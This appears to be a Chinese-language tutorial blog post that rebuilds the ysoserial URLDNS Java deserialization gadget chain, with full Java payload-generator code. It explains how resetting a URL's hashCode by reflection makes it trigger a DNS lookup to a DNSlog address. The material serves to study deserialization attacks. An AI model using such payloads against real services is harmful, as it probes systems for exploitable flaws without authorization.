再探URLDNS鏈(手搓exp)

A8k1a4發表於2024-05-10

夜深了,想著還需要沉澱自己的基礎能力,於是乎沒有繼續往CC鏈裡爬,透過研究了一下ysoserial裡的URLDNS鏈,決定自己嘗試寫一個類似卻有些不同的exp,使自己的基礎更加牢固一些,故有了今天這篇文章。

ysoserial裡的URLDNS鏈我就不再多說,有興趣的話自己可以去看下面這篇文章的分析

https://www.cnblogs.com/Gcker/p/17805397.html

主要講一下我自己構建EXP的思路

首先我是分3個類和一個實現介面來寫的,我們首先來看一下執行類

這裡我們先看一下PayloadRunner類,這個類的主要功能是能夠執行實現了ObjectPayload這個介面所有的類。

import com.ObjectPayload;
public class PayloadRunner {
    public static void run(Class<? extends ObjectPayload<?>> clazz, String[] args) throws Exception{
        ObjectPayload<?> payloadInstance = clazz.getDeclaredConstructor().newInstance();
        Object result = payloadInstance.getObject(args.length > 0 ? args[0] : "預設引數");

        System.out.println("執行和返回有效載荷:" + result);
    }

    public static void main(String[] args){
        try {
            run(URLDNS.class,args);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

  首先我先定義了一個run方法,這裡接受一個Class物件作為引數,這個Class物件代表了一個實現了ObjectPayload介面的類。這裡使用了泛型萬用字元<?>,表示

可以接受任何ObjectPayload的實現,透過clazz.getDeclaredConstructor().newInstance()建立了介面實現的一個新例項。這行程式碼使用了反射來尋找無參構造

器並建立對象,當getObject方法被呼叫時,傳入的引數由args陣列決定。如果args陣列非空,傳入第一個元素;如果為空,傳入“預設引數”。

    public static void run(Class<? extends ObjectPayload<?>> clazz, String[] args) throws Exception{
        ObjectPayload<?> payloadInstance = clazz.getDeclaredConstructor().newInstance();
        Object result = payloadInstance.getObject(args.length > 0 ? args[0] : "預設引數");
        System.out.println("執行和返回有效載荷:" + result);
    }

  

  下面main方法這裡,呼叫URLDNS這個類,也就是URL.class這裡,這是ObjectPayload介面的一個具體實現。然後透過一個try-catch塊,捕獲異常。

    public static void main(String[] args){
        try {
            run(URLDNS.class, args);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

  解析來是URLDNS類,這裡其實和ysoserial 裡面定義的差不多,只做了稍微修改,整體程式碼如下:

import java.net.URL;
import java.net.URLStreamHandler;
import java.net.URLConnection;
import java.util.HashMap;
import com.ObjectPayload;


public class URLDNS implements ObjectPayload<HashMap<URL,String>>{

    @Override
    public HashMap<URL,String> getObject(String url) throws Exception{
        URLStreamHandler handler = new SilentURLStreamHandler();
        HashMap<URL, String > ht = new HashMap<URL, String>();
        URL u = new URL(null,url,handler);
        ht.put(u,url);

        Reflections.setFieldValue(u,"hashCode",-1);
        return ht;
    }

    private static class SilentURLStreamHandler extends URLStreamHandler{
        @Override
        protected URLConnection openConnection(URL u){
            return null;
        }
    }
}

  首先定義了介面實現,這裡的包主要是進行網路和集合的類,宣告瞭ObjectPayload<HashMap<URL, String>>介面,指示這個類將返回一個HashMap,其中包含

URL和字串的對映

import java.net.URL;
import java.net.URLStreamHandler;
import java.net.URLConnection;
import java.util.HashMap;
import com.ObjectPayload;

public class URLDNS implements ObjectPayload<HashMap<URL,String>>{

  這段程式碼URLStreamHandler handler = new SilentURLStreamHandler();建立了SilentURLStreamHandler的例項, SilentURLStreamHandler是一

個內部類,用於在建立URL,物件時提供自定義的URLStreamHandler。這個處理器的實現通常會避免進行實際的網路連線,瞭解過URLDNS鏈的師傅們都理解為什麼這裡

要避免實際網路連線,這裡就不,再說明了,可以看我之前的URLDNS鏈分析。透過將新建立的URL物件和原始的字串url對映儲存在HashMap中,可以在需要時檢索和使

用這些資料。使用Reflections類修改URL物件的hashCode欄位為-1,是為了能在URL.hashCode這裡,實現DNS請求。

@Override
    public HashMap<URL,String> getObject(String url) throws Exception{
        URLStreamHandler handler = new SilentURLStreamHandler();
        HashMap<URL, String> ht = new HashMap<>();
        URL u = new URL(null, url, handler); // 建立一個URL物件,使用自定義的StreamHandler
        ht.put(u, url); // 將URL和傳入的字串url儲存到HashMap中

        Reflections.setFieldValue(u, "hashCode", -1); // 修改URL物件的hashCode欄位
        return ht; // 返回包含URL物件和字串對映的HashMap
    }

再探URLDNS鏈(手搓exp)

我在這裡定義了一個私有的SilentURLStreamHandler類,並重寫了openConnection方法,透過上面例項化重寫的SilentURLStreamHandler類,確保不進行任何實

際的網路連線。

    private static class SilentURLStreamHandler extends URLStreamHandler {
        @Override
        protected URLConnection openConnection(URL u) {
            return null; // 防止開啟實際的網路連線
        }
    }

下面我們再來說第三個類

import java.lang.reflect.Field;

public class Reflections {
    public static void setAccessible(Field field){
        field.setAccessible(true);//將欄位宣告為true,使其可以透過反射訪問
    }

    public static Field getField(Class<?> clazz, String fileName) throws NoSuchFieldException{
        Field field = clazz.getDeclaredField(fileName); //獲取任意類的宣告欄位
        setAccessible(field); //呼叫setAccessible方法設定欄位會被訪問
        return field; //返回field物件
    }

    public static void setFieldValue(Object obj, String fileName, Object value) throws Exception{
        Field field = getField(obj.getClass(), fileName);
        field.set(obj, value); //修改物件的值
    }


}

  這裡setAccessible(true)是允許在進行反射程式碼查詢和修改的時候,透過這種方式保證在正常情況可以訪問私有或受保護欄位。

public static void setAccessible(Field field){
        field.setAccessible(true); // 將欄位的訪問許可權設定為可訪問,無論其可見性如何
    }

  getField方法,該方法透過類物件和欄位名獲取相應的Field物件。如果欄位是私有的,這個方法會自動呼叫setAccessible來修改欄位的訪問許可權,確保後續操作可

以無阻礙地進行。

public static Field getField(Class<?> clazz, String fieldName) throws NoSuchFieldException{
        Field field = clazz.getDeclaredField(fieldName); // 獲取類中宣告的指定名稱的欄位
        setAccessible(field); // 確保該欄位是可訪問的
        return field; // 返回這個欄位物件
    }

setFieldValue方法結合了上述方法的功能,允許呼叫者為任何物件的任何欄位設定新值,即使是私有或受保護的欄位。

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = getField(obj.getClass(), fieldName); // 使用getField方法獲取欄位
        field.set(obj, value); // 設定物件的欄位值
    }

最後是介面定義

import org.reflections.Reflections;
import java.lang.reflect.Modifier;
import java.util.Set;
import java.util.stream.Collectors;
public interface ObjectPayload<T> {

    T getObject(String command) throws Exception;
    class Utils {
        public static Set<Class<? extends ObjectPayload>> getPayloadClasses() {

            Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());

            return reflections.getSubTypesOf(ObjectPayload.class)
                    .stream()

                    .filter(pc -> !(pc.isInterface() || Modifier.isAbstract(pc.getModifiers())))

                    .collect(Collectors.toSet());
        }
    }
}

這裡使用泛型T使得介面可以靈活地適用於多種資料型別。實現這個介面的類將指定返回資料的具體型別,如HashMap<URL, String>

public interface ObjectPayload<T> {
    T getObject(String command) throws Exception;
}

這裡使用Reflections庫搜尋當前ObjectPayload介面所在的包,找出所有實現了這個介面的類,使用Java Stream API過濾出那些既不是介面也不是抽象類的實現。這確

了找到的類都是可以例項化的,最終將滿足條件的類收集到一個Set集合中返回。Set集合可以在應用程式中用於動態建立物件和呼叫方法。

class Utils {
    public static Set<Class<? extends ObjectPayload>> getPayloadClasses() {
        Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
        return reflections.getSubTypesOf(ObjectPayload.class)
                          .stream()
                          .filter(pc -> !(pc.isInterface() || Modifier.isAbstract(pc.getModifiers())))
                          .collect(Collectors.toSet());
    }
}

總結

這四段程式碼整體實現了一個簡單的URLDNS攻擊鏈,透過利用Java的動態載入和反射機制來執行特定的ObjectPayload實現。主要流程包括:

  1.透過ObjectPayload介面和Utils類定義和動態發現可用的payloads。

  2.使用PayloadRunner類來載入和執行具體的ObjectPayload實現。

  3.URLDNS類實現了ObjectPayload介面,透過建立特殊的URL物件來觸發DNS查詢。

  4.透過Reflections類進行必要的反射操作,如修改物件屬性等。

1. URLDNS 類和ObjectPayload 介面

  1.使用自定義的URLStreamHandlerSilentURLStreamHandler)建立了一個URL物件。這個處理器被設計為不進行任何網路連線,但是這裡要注意,建立URL物件時,如果URL的協議部分(如http)被解析,它可能會導致DNS解析,所以要設計返回為null

  2.建立的URL物件和原始URL字串被存入一個HashMap並返回。

  3.利用Reflections類修改了URL物件的hashCode欄位。

2. PayloadRunner 類

  1.PayloadRunner類負責實際載入並執行URLDNS類(或任何其他ObjectPayload實現)。使用Java反射來建立URLDNS類的例項並呼叫其getObject方法:

  2.傳入命令列引數作為URL,如果沒有提供引數,則使用預設引數。

  3.執行getObject方法後,結果(HashMap包含URL和字串)被列印出來。

3. Utils 類和動態發現

  Utils類內部的getPayloadClasses方法使用Reflections庫來動態發現所有實現了ObjectPayload介面的類。這使得PayloadRunner可以不依賴於硬編碼的類名,增加了系統的靈活性和擴充套件性。在實際應用中,可以根據配置或其他條件在執行時選擇不同的payload類來執行。

4. 完整的呼叫流程

  當PayloadRunnermain方法被執行時,它會載入URLDNS類,傳入可能來自命令列的引數,並執行getObject方法。這個方法觸發了可能的DNS查詢,然後返回包含URL和字串的HashMap

實驗

再探URLDNS鏈(手搓exp)

我們在配置裡,配置DNSlog地址


再探URLDNS鏈(手搓exp)

再探URLDNS鏈(手搓exp)

可以看到成功請求到了,今天就到這裡了,如果有寫的不對的地方,歡迎各位師傅指正,睡覺~

再探URLDNS鏈(手搓exp)

相關文章